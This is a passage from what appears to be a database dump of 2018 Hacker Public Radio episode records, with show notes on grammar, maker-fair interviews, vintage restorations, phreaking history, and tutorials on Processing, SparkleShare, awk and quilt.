href=\"https://www.quickanddirtytips.com/education/grammar/apostrophe-catastrophe-part-one\">Apostrophe Catastrophe (Part One)</a></li>\r\n<li><a href=\"https://www.quickanddirtytips.com/education/grammar/apostrophe-catastrophe-part-two\">Apostrophe Catastrophe (Part Two)</a></li>\r\n</ul></li>\r\n<li>Oxford Dictionaries: <a href=\"https://en.oxforddictionaries.com/definition/cant\">Definition of \'cant\'</a></li>\r\n<li>Grammar Monster:\r\n<ul>\r\n<li><a href=\"https://www.grammar-monster.com/punctuation/using_apostrophes.htm\">Using Apostrophes</a></li>\r\n<li><a href=\"https://www.grammar-monster.com/plurals/plural_of_amoeba.htm\">Plural of amoeba</a></li>\r\n</ul></li>\r\n<li>Grammarbook.com:\r\n<ul>\r\n<li><a href=\"https://data.grammarbook.com/blog/pronouns/1-grammar-error/\">Its vs It\'s</a></li>\r\n</ul></li>\r\n<li>Previous episode in this series:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2558\">Battling with English - part 1</a></li>\r\n</ul></li>\r\n</ul>',225,120,1,'CC-BY-SA','grammar,spelling,punctuation,word misuse,English,apostrophe',0,0,1),
(2641,'2018-09-17','Liverpool Makefest 2018 - interview with Rachel from the MicroBit Foundation',564,'This is a short interview recorded at this years Liverpool Makefest with Rachel from MicroBit','<p>In this episode I talk to Rachel Lancaster from the Micro:Bit foundation.</p>\r\n<ul>\r\n<li><p><a href=\"https://microbit.org/\" class=\"uri\">https://microbit.org/</a></p></li>\r\n<li><p><a href=\"https://lpoolmakefest.org/\" class=\"uri\">https://lpoolmakefest.org/</a></p></li>\r\n</ul>',338,78,0,'CC-BY-SA','Liverpool Makefest 2018, computing, young coders, hackers, makers, crafts, microbit',0,0,1),
(2646,'2018-09-24','Liverpool Makefest 2018 - Interview with Steve and Gerrard from the Liverpool Astronomical society.',355,'In this Episode I talk to Steve and Gerrard from the Liverpool Astronomical society.','<p>In this episode I talk to Steve and Gerard from the Liverpool Astronomical society.</p>\r\n<ul>\r\n<li><p><a href=\"https://liverpoolas.org/event/weekly-public-meeting-at-the-leighton-observatory-pex-hill-4/2018-09-26/\" class=\"uri\">https://liverpoolas.org/event/weekly-public-meeting-at-the-leighton-observatory-pex-hill-4/2018-09-26/</a></p></li>\r\n<li><p><a href=\"https://liverpoolas.org/\" class=\"uri\">https://liverpoolas.org/</a></p></li>\r\n<li><p><a href=\"https://lpoolmakefest.org/\" class=\"uri\">https://lpoolmakefest.org/</a></p></li>\r\n</ul>\r\n',338,78,0,'CC-BY-SA','Liverpool Makefest 2018, Astronomy, History, Science',0,0,1),
(2597,'2018-07-17','How to Fix a Remote with Buttons that Don\'t Work',392,'A response to Ken Fallon\'s episode about how to check whether your remote is working or not.','<p>After listening to Ken Fallon’s episode about how to check whether your remote is working or not, I checked one of our remotes that had been giving us problems and found that only a couple of the buttons produced the light. Then I found a video on YouTube showing how to fix non-working buttons and this is my report.</p>',238,0,0,'CC-BY-SA','Repairs, Remote Controls, Fixing things, Cleaning',0,0,1),
(2602,'2018-07-24','HPR Quick Tips July 2018',1474,'SpiderOAK Backup and Trekking the AT','<p>Don’t use GOOGLE DRIVE ! They flag personal content and backups as malware and will not let you download or share your own backups!!!!!</p>\r\n',36,0,1,'CC-BY-SA','SpiderOAK,Backups,DR,Trekking,Hiking',0,0,1),
(2604,'2018-07-26','Restoration of a Fasco L55A Hassock Fan',1074,'I talk about my recent restoration project of a mid-century modern hassock fan','<h2>The Fasco L55A Hassock Fan</h2>\r\n\r\n<p>Click the image to view my Flickr slideshow of the restoration process.</p>\r\n\r\n<p><a data-flickr-embed=\"true\" href=\"https://www.flickr.com/photos/137675441@N05/albums/72157697860079274\" title=\"Fasco L55A Hassock Fan Restoration\"><img src=\"https://farm1.staticflickr.com/883/42280247534_18fd9bd408_c.jpg\" width=\"800\" height=\"450\" alt=\"Fasco L55A Hassock Fan Restoration\"/></a></p>\r\n\r\n<p>A video showing my restored fan in action!</p>\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/K_N0bjR3EwU\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.google.com/search?q=hassock+fan&hs=Qy7&tbm=isch&tbo=u&source=univ&sa=X&ved=0ahUKEwji0cLju4rcAhUB4IMKHYCKA9cQsAQInwI&biw=1600&bih=761\" target=\"_blank\">Hassock Fans on Google image search</a></li>\r\n<li><a href=\"https://www.flickr.com/photos/137675441@N05/albums/72157697860079274\" title=\"Fasco L55A Hassock Fan Restoration\">Flickr photographs</a></li>\r\n<li><a href=\"https://www.youtube.com/embed/K_N0bjR3EwU\" target=\"_blank\">YouTube video</a></li>\r\n\r\n</ul>\r\n',238,0,0,'CC-BY-SA','Fans, vintage stuff, restoration, staying cool, mid-century modern',0,0,1),
(2608,'2018-08-01','BattleTech',1108,'Quick introduction to BattleTech tabletop game by tuturto','<p>Following links might help you to get more familiar with the game.</p>\r\n<ul>\r\n<li><p>Manufacturer’s website: <a href=\"https://bg.battletech.com/\" class=\"uri\">https://bg.battletech.com/</a></p></li>\r\n<li><p>Forums, where fans have discussions about the game: <a href=\"https://bg.battletech.com/forums/\" class=\"uri\">https://bg.battletech.com/forums/</a></p></li>\r\n<li><p>Sarna, extensive wiki: <a href=\"https://www.sarna.net/wiki/Main_Page\" class=\"uri\">https://www.sarna.net/wiki/Main_Page</a></p></li>\r\n</ul>\r\n',364,95,0,'CC-BY-SA','BattleTech',0,0,1),
(2600,'2018-07-20','Special episode on 2600, Blue Boxes, Phreaking',3173,'We celebrate the history of hackers, with a nod to the old skool phreak community.','<p>\r\n2600 Hz is a frequency in hertz (cycles per second) that was used by AT&amp;T as a steady signal to mark currently unused long-distance telephone lines.<br />\r\nA blue box is an electronic device that generates the in-band signaling audio tones formerly used to control long-distance telephone exchanges.<br />\r\nPhreaking is a slang term coined to describe the activity of a culture of people who study, experiment with, or explore telecommunication systems, such as equipment and systems connected to public telephone networks. The term phreak is a sensational spelling of the word freak with the ph- from phone, and may also refer to the use of various audio frequencies to manipulate a phone system. Phreak, phreaker, or phone phreak are names used for and by individuals who participate in phreaking.<br />\r\n</p>\r\n<h3>Radio FreeK America 1</h3>\r\n<p>\r\n02/20/02 - Trashing live, dual was \"slammed,\" trouble with Qwest, Qwest releasing customer info then backing off, Rax discusses VOMIT and subsequent fun, start your own telco or isp, Onebox.com, Slingshot pre-paid Internet access, Kondor\'s Trios tribulations, fun with the phone, and more.\r\n</p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/2600_hertz\">https://en.wikipedia.org/wiki/2600_hertz</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Blue_box\">https://en.wikipedia.org/wiki/Blue_box</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Phreaking\">https://en.wikipedia.org/wiki/Phreaking</a></li>\r\n<li><a href=\"https://oldskoolphreak.com/\">https://oldskoolphreak.com/</a></li>\r\n<li><a href=\"https://oldskoolphreak.com/radio.html\">https://oldskoolphreak.com/radio.html</a></li>\r\n</ul>\r\n',30,0,1,'CC-BY-SA','2600, Blue Box, Phreaking, Radio FreeK America',0,0,1),
(2603,'2018-07-25','Dummy shares a tip and a tip/rant about asking and answering questions',1503,'Those blasted rubber coffee mug seals and \"Let me Google that for you.\"','<p>A quick tip on using paper towel or dish rag to easily remove stubborn travel coffee mug rubber seals followed by a semi ranty discussion on asking and responding to questions in the context of “Let me google that for you.”</p>\r\n<p>As a bonus, this is part of a series-ish set of shows I’m going to do recording with different equipment to give you the feel of the quality of shows possible with low cost equipment by someone who doesn’t know how to edit audio or speak to audiences.</p>\r\n',151,0,1,'CC-BY-SA','travel mug seal,asking questions',0,0,1),
(2607,'2018-07-31','Processing',1777,'Klaatu introduces Processing, a Java subset and IDE suitable for graphical programming projects','<p>Get Processing from <a href=\"https://processing.org\">processing.org</a>. Download, extract, and launch. On Linux, just click the <code>processing</code> file.</p>\r\n<p>Processing requires that <em>either</em> OpenJDK or Java to be installed.</p>\r\n<p>Processing requires a <code>void setup()</code> function, which is a function that Processing expects whenever an application is launched. If you don\'t have a <code>setup</code> function, your application still launches, but with basic Processing defaults. Try this to start with:</p>\r\n<pre><code>void setup() {\r\n    size(480,720);\r\n}</code></pre>\r\n<p>Click the <strong>Run</strong> button in the top left corner to launch your [very simple] application: an empty window that is 480 pixels wide and 720 pixels tall.</p>\r\n<p>Draw a rectangle on your canvas by invoking Processing\'s <code>void draw()</code> function:</p>\r\n<pre><code>void draw() {\r\n    rect(10,10,80,80);\r\n}</code></pre>\r\n<p>Click the <strong>Run</strong> button in the top left corner to launch your application.</p>\r\n<p>Add some colour to your rectangle:</p>\r\n<pre><code>void draw() {\r\n    fill(8,120,90);\r\n    rect(10,10,80,80);\r\n}</code></pre>\r\n<p>Click the <strong>Run</strong> button in the top left corner to launch your application.</p>\r\n<p>Make a simple painting app:</p>\r\n<pre><code>void setup() {\r\n    size(480,720);\r\n}\r\n\r\nvoid draw() {\r\n    if (mousePressed) {\r\n        fill(20,120,90);\r\n        ellipse(mouseX,mouseY,25,25);\r\n    } else {\r\n        fill(random(10,120),random(10,80),random(20,200));\r\n    }\r\n}</code></pre>\r\n<p>More Processing tricks: you can export your application as a standalone Java app, or as an Android <code>.apk</code> as long as you have the Android SDK installed.</p>\r\n<p>Processing\'s <a href=\"https://processing.org/reference\">documentation</a> is excellent. It has examples for all functions, <em>with pictures</em>.</p>\r\n',78,25,0,'CC-BY-SA','java,processing',0,0,1),
(2609,'2018-08-02','SparkleShare',1460,'Klaatu demonstrates SparkleShare','<p>\r\nClacke mentioned SparkleShare in <a href=\"https://hackerpublicradio.org/eps.php?id=2542\" target=\"_blank\">episode 2542</a>, and it occurred to me that not everyone knows what Sparkleshare is. So here&#39;s a show about it.\r\n</p>\r\n\r\n<p>\r\nTo setup SparkleShare, refer to <a href=\"https://sparkleshare.org\" target=\"_blank\">SparkleShare.org</a>. It\'s available for Linux, Windows, and Mac; great for cross-platform collaboration.\r\n</p>\r\n\r\n<p>\r\nThe Linux installer uses <a href=\"https://flatpak.org\" target=\"_blank\">FlatPak</a>, so you do need to install that.\r\n</p>\r\n\r\n<p>\r\nOnce installed, launch SparkleShare in the usual way. If you have no usual way, you can use this command&#58;</p>\r\n\r\n<pre>\r\n$ flatpak run org.sparkleshare.SparkleShare\r\n</pre>\r\n\r\n<p>\r\nThe first screen asks for your name and email. This doesn&#39;t have to be your real name and email, but it is what SparkleShare will use when making commits on your behalf. This name and email will be visible to anyone who can see your online Git repository.\r\n</p>\r\n\r\n<p>\r\nThe next screen displays the <strong>Sync Remote Project</strong> screen. You use this screen any time you want to add another share to your sparkle.\r\n</p>\r\n\r\n<img src=\"https://slackermedia.info/host/setup1.png\" alt=\"image showing the Sync Remote Project window of SparkleShare\" />\r\n\r\n<p>\r\nIn this episode, I set up two projects&#58; one brand new one using my home server as host, and one that mirrors an existing project on Gitlab.com.\r\n</p>\r\n\r\n<p><strong>Adding a project from Gitlab</strong></p>\r\n\r\n<p>\r\nThe first thing you must do is give SparkleShare permission to access Gitlab. To do this, click on the SparkleShare icon in your system tray &#62; SparkleShare &#62; Client ID and copy your ID to your clipboard.\r\n</p>\r\n\r\n<img src=\"https://slackermedia.info/host/clientid.png\" alt=\"image describing the menu selection as listed in the above text\" />\r\n\r\n<p>\r\nNow go to your online Git host and add this &#34;Client ID&#34; to your approved SSH Keys. Where this is located depends on your Git host, but in Gitlab, it&#39;s located in the left column of the <strong>Settings</strong> screen. When your SSH Key has been added, Gitlab displays a key fingerprint &#40;actually just a string of numbers&#41; as confirmation.\r\n</p>\r\n\r\n<p>\r\nThe path to your remote Git repository is the part of an URL after the host. It usually starts with your username. For example, if I have a project on Gitlab located at <code>gitlab.com/notklaatu/foo.git</code> then the path that SparkleShare needs is <code>notklaatu/foo.git</code>\r\n</p>\r\n\r\n<p>\r\nClick the <strong>Add</strong> button to add the project to your local SparkleShare folder.\r\n</p>\r\n\r\n\r\n<p><strong>Adding a project hosted on your own server</strong></p>\r\n\r\n<p>\r\nThere are a lot more variables if you&#39;re hosting a Git repository on your own server. These are the things that you may need to account for&#58;\r\n</p>\r\n\r\n<ul>\r\n<li><p>Is your local .ssh/config file setting some &#34;invisible&#34; defaults for when you SSH to your server? If so, you may need to modify or add an entry for SparkleShare.</p></li>\r\n<li><p>Your SparkleShare auto-generated &#34;Client ID&#34; is located in <code>$HOME/.config/org.sparkleshare.SparkleShare/ssh</code></p></li>\r\n<li><p>Is your SparkleShare SSH key &#40;the &#34;Client ID&#34; in SparkleShare lingo&#41; in your authorized_hosts file?\r\n</p></li>\r\n<li><p>Does a Git repository exist on your remote server in the location you think it exists?</p></li>\r\n</ul>\r\n\r\n<p><strong>Using SparkleShare</strong></p>\r\n\r\n<p>\r\nUse SparkleShare exactly as you would DropBox or the <a href=\"https://nextcloud.com/\" target=\"_blank\">NextCloud Desktop Client</a>&#58; drag-and-drop a file to add it, drag it to the Trash to delete it. All SparkleShare folders sync\'d with any given project syncs automatically through the magickalfulness of Git hooks.\r\n</p>\r\n\r\n\r\n\r\n',78,104,0,'CC-BY-SA','git,sparkleshare',0,0,1),
(2613,'2018-08-08','Quick Awk Tip',459,'This is a tip about awk scripts.','<p>\r\nThis is obvious, but it tripped me up a few times after listening to the excellent Awk series by Dave and B-yeezi, so I though I\'d share it here to save others the trouble.\r\n</p>\r\n\r\n<p>\r\nWhen moving from simple awk commands to proper awk scripts, you put a shebang line at the top of your script. It\'s pretty common to many of us, because we do it for Python and Bash all the time.\r\n</p>\r\n\r\n<p>\r\nBut if you just put:\r\n</p>\r\n\r\n<pre>\r\n#!/usr/bin/awk\r\n</pre>\r\n<p>\r\nThen your awk script won\'t work the way you expect.</p>\r\n\r\n<p>\r\nYou must provide the <code>-f</code> flag:\r\n</p>\r\n<pre>\r\n#!/usr/bin/awk -f\r\n</pre>\r\n\r\n<p>\r\nNow you can pipe things to your awk script as expected. \r\n</p>\r\n\r\n\r\n',78,94,0,'CC-BY-SA','tip,awk,shebang',0,0,1),
(2614,'2018-08-09','My 1948 Truetone D1835 Tube Radio',657,'I talk about my \"new\" 1948 D1835 Tube-powered radio.','<h2>The 1948 Truetone D1835 Tube Radio</h2>\r\n\r\n<p>I recently bought a vintage tube powered radio at an estate sale and in this episode I talk about it and let you hear it. Click the image to view my Flickr pictures.</p>\r\n\r\n<p><a data-flickr-embed=\"true\" href=\"https://www.flickr.com/photos/137675441@N05/albums/72157699014674225\" title=\"1948 Truetone Tube Radio\"><img src=\"https://farm1.staticflickr.com/836/28515366987_03ca2d6a84_c.jpg\" width=\"450\" height=\"800\" alt=\"1948 Truetone Tube Radio\"/></a></p>\r\n\r\n<p>Watch <a href=\"https://youtu.be/-I8GEjiBf0g\">A video showing the radio in action</a>!</p>\r\n',238,0,0,'CC-BY-SA','Vintage audio, legacy technology, radio, antiques',0,0,1),
(2610,'2018-08-03','Gnu Awk - Part 12',2050,'Advanced use of arrays','<h1 id=\"gnu-awk---part-12\">Gnu Awk - Part 12</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>This is the twelfth episode of the “<a href=\"https://hackerpublicradio.org/series.php?id=94\" title=\"Learning Awk\">Learning Awk</a>” series which is being produced by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" title=\"b-yeezi\">b-yeezi</a> and myself.</p>\r\n<p>In this episode I want to continue with the subject I started in episode 10, an advanced-level look at arrays in Awk. This episode covers <code>patsplit</code> which can split a string into an array, the built-in array <code>PROCINFO</code> which can be used to control how <code>awk</code> sorts arrays, as well as <code>asort</code> and <code>asorti</code>, built-in functions for sorting arrays.</p>\r\n<p>In case it might be of interest I have also included a section describing a recent use I made of <code>awk</code> to solve a problem.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2610/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/html_node/index.html\"><em>GNU Awk User’s Guide</em></a></li>\r\n<li>Previous shows in this series on HPR:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2114\">“<em>Gnu Awk - Part 1</em>”</a> - episode 2114</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2129\">“<em>Gnu Awk - Part 2</em>”</a> - episode 2129</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2143\">“<em>Gnu Awk - Part 3</em>”</a> - episode 2143</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2163\">“<em>Gnu Awk - Part 4</em>”</a> - episode 2163</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2184\">“<em>Gnu Awk - Part 5</em>”</a> - episode 2184</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2238\">“<em>Gnu Awk - Part 6</em>”</a> - episode 2238</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2330\">“<em>Gnu Awk - Part 7</em>”</a> - episode 2330</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2438\">“<em>Gnu Awk - Part 8</em>”</a> - episode 2438</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2476\">“<em>Gnu Awk - Part 9</em>”</a> - episode 2476</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2526\">“<em>Gnu Awk - Part 10</em>”</a> - episode 2526</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2554\">“<em>Gnu Awk - Part 11</em>”</a> - episode 2554</li>\r\n</ul></li>\r\n<li>Resources:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2610/full_shownotes.epub\">ePub version of these notes</a></li>\r\n<li>Examples: <a href=\"https://hackerpublicradio.org/eps/hpr2610/awk12_ex1.awk\">awk12_ex1.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2610/awk12_ex2.awk\">awk12_ex2.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2610/awk12_ex3.awk\">awk12_ex3.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2610/awk12_ex4.awk\">awk12_ex4.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2610/awk12_ex5.awk\">awk12_ex5.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2610/awk12_ex6.awk\">awk12_ex6.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2610/awk12_ex7.awk\">awk12_ex7.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2610/awk12_ex8.awk\">awk12_ex8.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2610/awk12_ex9.awk\">awk12_ex9.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2610/awk12_ex10.awk\">awk12_ex10.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2610/awk12_extra.awk\">awk12_extra.awk</a></li>\r\n</ul></li>\r\n</ul>',225,94,1,'CC-BY-SA','Awk utility, Awk Language, gawk, arrays, sorting',0,0,1),
(2617,'2018-08-14','Exposing a Raspberry Pi database through a REST API',1219,'In this episode, I discuss how I used python to make my speedtest data available across my network','<h2>Links from the episode</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Representational_state_transfer\">Wikipedia - REST API</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Web_Server_Gateway_Interface\">Wikipedia - WSGI</a></li>\r\n<li><a href=\"https://bottlepy.org/docs/dev/\">Bottle Framework</a></li>\r\n<li><a href=\"https://sqlite.org/index.html\">SQLite</a></li>\r\n</ul>\r\n',300,0,0,'CC-BY-SA','python,development',0,0,1),
(2618,'2018-08-15','Yesod - First Impressions',1385,'tuturto talking about their first impressions of Yesod web framework','<p>First place to start is probably Yesod’s web site at: <a href=\"https://www.yesodweb.com/\" class=\"uri\">https://www.yesodweb.com/</a></p>\r\n<p>Often recommended environment for developing Haskell programs is Stack: <a href=\"https://docs.haskellstack.org/en/stable/README/\" class=\"uri\">https://docs.haskellstack.org/en/stable/README/</a></p>\r\n<p>My road to Haskell started with Learn You a Haskell for Great Good: <a href=\"https://learnyouahaskell.com/\" class=\"uri\">https://learnyouahaskell.com/</a> and going through lecture notes of CIS 194: <a href=\"https://www.seas.upenn.edu/%7Ecis194/spring13/lectures.html\">https://www.seas.upenn.edu/%7Ecis194/spring13/lectures.html</a></p>\r\n',364,107,0,'CC-BY-SA','haskell,yesod,web',0,0,1),
(2619,'2018-08-16','A Gentle Introduction to Quilt',1225,'Quilt - the patch manager.  Introduction and tutorial.','<h1 id=\"a-gentle-introduction-to-quilt\">A gentle introduction to quilt</h1>\r\n<p>Or, patch management for software.</p>\r\n<h2 id=\"speaker-intro\">Speaker Intro</h2>\r\n<p>Hi, I\'m bjb. I\'m a programmer.</p>\r\n<h2 id=\"motivation-and-topic-intro\">Motivation and topic intro</h2>\r\n<p>I needed to learn how to use the software tool &quot;quilt&quot;, so you get to listen to my podcast about an introduction to quilt.</p>\r\n<p>People collaborating on a project must edit the same set of source files. After one person commits some changes, then the other people must rebase their own changes on the new version of the shared files before they can push their changes.</p>\r\n<p>A minor fix for some old typo should not be in the same patch as a new feature; a comment correction should also be in its own patch. Essentially, two new features and some bug fixes should not all be smushed together in one patch. Each feature should be in its own patch (or patch series), and each bug fix should be in its own patch. This allows others to be able to review the proposed changes easily, and even lets them pick and choose which patches they want to apply. It becomes a chore to manage all these patches. That\'s where quilt comes in.</p>\r\n<p>Sadly, I hadn\'t learned quilt till this weekend ... well one way to ensure I learn it fairly well is to write a HPR episode about it! Here goes.</p>\r\n<p>I have written this episode to be understandable by anyone - you don\'t have to be a coder. You could use this tool to keep track of any plain-text files - recipes, todo lists, html, hpr show notes, poetry, what-have-you.</p>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>First let\'s describe what a patch is. No, first let\'s describe what source code looks like. Source code is a plain text file full of computer instructions. It is a plain text file, as opposed to a word processing file. Plain text files do not have any formatting codes or styles in them (such as which font should be used, or what colour, and so on). They just contain the characters that make up words of the content.</p>\r\n<p>A key feature of these source code files is that a new section of the file starts on a new line. The source code is almost never &quot;reflowed&quot; like prose might be. It is sort of like poetry - the more formal poetry, not prose poetry. There are a lot of really small sections in source code files (called &quot;statements&quot; and &quot;expressions&quot;). Most of these sections fit on one line. This is useful for the tools we\'re going to discuss because when one line changes it does not affect the following lines, as it might when text is reflowed after a change.</p>\r\n<p>People have been coding with plain text files in various languages for decades. Thus a large set of tooling has grown around this format. One of those tools is called &quot;diff&quot; and another one is called &quot;patch&quot;.</p>\r\n<p>Diff is a way to compare two text files. Typically it would be used to compare the &quot;before&quot; and &quot;after&quot; of a source code file undergoing changes. So you could find out what was done to the source code file by running diff on the before and after versions of that file.</p>\r\n<p>A diff file is a series of excerpts from the original and changed files. There are various kinds of diffs. Some of them show only the changed lines. Some of them show a few lines before and a few lines after in addition to the changed lines themselves. That second kind is called a &quot;context diff&quot; and helps the automated machinery (and humans too) find the correct part of the file to which the change must be applied.</p>\r\n<p>By default there are 3 lines of context before and after the changed lines.</p>\r\n<p>The changed part is represented by including the old AND new line. In order to distinguish which lines are old and which are the replacements, all the lines (context lines, removed lines and added lines) are shifted over to the right by one character. The context lines start with a space in the extra left-most character, the original removed lines have a minus sign in the left-most character and the new added lines have a plus sign.</p>\r\n<p>Thus if any character on a line in the source file has changed, been added or removed, then the whole line will be replaced with a new line in the new file. The diff will show both the removed line and the new one.</p>\r\n<p>The patch utility takes the &quot;diff&quot; output and applies it to the original file to produce the later version of that file. You can apply it in reverse mode to the later version to get the original version. So patch is also a really useful program, and these two tools, diff and patch, are the basis of most of the version control systems out there. It is the existence of these text-based diff and patch tools that makes revision control systems work really well on plain-text files that are naturally structured in a line-by-line format.</p>\r\n<p>A note about terminology: the diff program produces a diff. This diff is also called a patch. The patch program takes the diff (aka patch) and applies it to the original file to produce the changed file.</p>\r\n<p>So if you have a timeline of adding a few features and making a few fixes on a code-base, it can be fully described by the original file plus a set of patches that had been produced with diff. You can get the final source code by taking the original file, applying the patches one by one, and voila, the final version of the file has been recreated.</p>\r\n<p>Now we know enough to give a concise description of quilt:</p>\r\n<p>Quilt lets you work with patches, creating them, applying them, un-applying them, and moving some things from one patch to another with a minimum of effort.</p>\r\n<h2 id=\"how-to-use-quilt\">How to use quilt</h2>\r\n<p>Now a tutorial on how to get started using quilt.</p>\r\n<p>This tutorial will start with a buggy program, create a few bad patches, and fix them up into good patches. I make no claims as to the quality of the final code though. The reason for starting with bad code and patches is to illustrate how to use quilt.</p>\r\n<h3 id=\"starting-to-use-quilt-on-a-project\">Starting to use quilt on a project</h3>\r\n<p>To start using quilt, create a directory called &quot;patches&quot; at the top of your code or just above.</p>\r\n<pre class=\"sourceCode \"><code>$ mkdir patches</code></pre>\r\n<p>If you don\'t do this, quilt will create it for you. However, first it will look for a directory called &quot;patches&quot; in the current working directory, its parent, and all the way up ... if it finds one, it will use it. If not, it will create one in the current directory.</p>\r\n<p>So, to keep it from finding some unrelated directory with the name &quot;patches&quot;, just create a patches directory yourself in the right place.</p>\r\n<h3 id=\"quilt-first-patch-including-a-new-file\">Quilt first patch, including a new file!</h3>\r\n<p>You must tell quilt before you make any changes to your source code. Then it can store the original versions of the files that will change, so it can produce the diffs that will become that patch once you change the files.</p>\r\n<p>Create a directory called example, and create a file in it like this, called hello.c (don\'t fix the errors):</p>\r\n<pre class=\"sourceCode \"><code>#include &quot;stdio.h&quot;\r\n\r\nint main (int argc, char *argv[], char *env[])\r\n{\r\n    print (&quot;Hello, world!n&quot;)\r\n    return 0;\r\n}</code></pre>\r\n<p>Now create a new patch - that is, give it a name - before you change any code. This will create (or find) a couple of directories, &quot;patches&quot; and &quot;.pc&quot;, and populate them with some files to start.</p>\r\n<pre class=\"sourceCode \"><code>$ quilt new fix-typo</code></pre>\r\n<p>And now you can fix the typo and generate the patch. First start by telling quilt that you want hello.c to be in the patch. Quilt saves a copy of it aside for comparing with the later versions:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt add hello.c</code></pre>\r\n<p>You can get quilt to tell you what files it knows about:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt files</code></pre>\r\n<p>Edit the file - add a semicolon at the end of the print line, and change the double-quotes on the #include line to angle brackets:</p>\r\n<pre class=\"sourceCode \"><code>#include &lt;stdio.h&gt;\r\nprint (&quot;Hello, world!n&quot;);</code></pre>\r\n<p>Save the file and exit the editor. Next generate the patch:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt refresh</code></pre>\r\n<p>The oddly named &quot;refresh&quot; command creates the patch itself. It is called &quot;refresh&quot; because it can also be used to update the patch.</p>\r\n<p>Now you can see the current set of patches by giving the command:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt series</code></pre>\r\n<p>The single patch is called fix-typo, and its name in the list is coloured brownish. That is because it is the &quot;current&quot; patch, and it is the one that will be updated if you &quot;quilt refresh&quot; again with more changes.</p>\r\n<p>One thing I did not find in the quilt documentation is how to add a new file. When adding a new file, there is no existing file that you can name in the quilt add command. Of course, the very first patch I wanted to manage with quilt, I had introduced a new file. It turns out that the quilt edit command can be used to add a file to the patch, even if the file does not yet exist:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt edit header.h</code></pre>\r\n<p>Add content to header.h (see below) using the plain-text editor that quilt has started up for you. Save the file.</p>\r\n<pre class=\"sourceCode \"><code>#ifndef HEADER_HH__\r\n#define HEADER_HH__\r\n\r\n#define NAME &quot;bjb&quot;\r\n\r\n#endif</code></pre>\r\n<p>Regenerate the patch with the new changes:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt refresh</code></pre>\r\n<p>Now you can list the patch series again with quilt series. So far there is one patch. You can see what the patch consists of with the</p>\r\n<pre class=\"sourceCode \"><code>$ quilt diff</code></pre>\r\n<p>command.</p>\r\n<pre class=\"sourceCode \"><code>$ quilt diff\r\nIndex: hello/hello.c\r\n===================================================================\r\n--- hello.orig/hello.c\r\n+++ hello/hello.c\r\n@@ -1,8 +1,8 @@\r\n-#include &quot;stdio.h&quot;\r\n+#include &lt;stdio.h&gt;\r\n\r\n int main (int argc, char *argv[], *env[])\r\n {\r\n-    print (&quot;Hello, world!n&quot;)\r\n+    print (&quot;Hello, world!n&quot;);\r\n     return 0;\r\n }\r\n\r\nIndex: hello/header.h\r\n===================================================================\r\n--- /dev/null\r\n+++ hello/header.h\r\n@@ -0,0 +1,7 @@\r\n+#ifndef HEADER_HH__\r\n+#define HEADER_HH__\r\n+\r\n+#define NAME &quot;bjb\r\n+\r\n+#endif\r\n+\r\n$</code></pre>\r\n<h3 id=\"quilt-second-patch\">Quilt second patch</h3>\r\n<p>Now it is time to make a second patch. First we tell quilt we are moving to a new patch:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt new prototype\r\n$ quilt edit header.h</code></pre>\r\n<p>Edit this file again - add a function prototype.</p>\r\n<pre class=\"sourceCode \"><code>int do_output(const char *name);</code></pre>\r\n<p>Create the patch and look at the list of patches:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt refresh\r\n$ quilt series</code></pre>\r\n<p>Now when we give the quilt series command, we see two patches. The first one is green, meaning it has been applied, and the second one is brown, meaning this is the one that quilt refresh will change if you call it.</p>\r\n<p>Again you can see what latest diff looks like by giving the quilt diff command.</p>\r\n<pre class=\"sourceCode \"><code>$ quilt diff</code></pre>\r\n<p>Now let\'s unapply the latest diff:</p>\r\n<pre 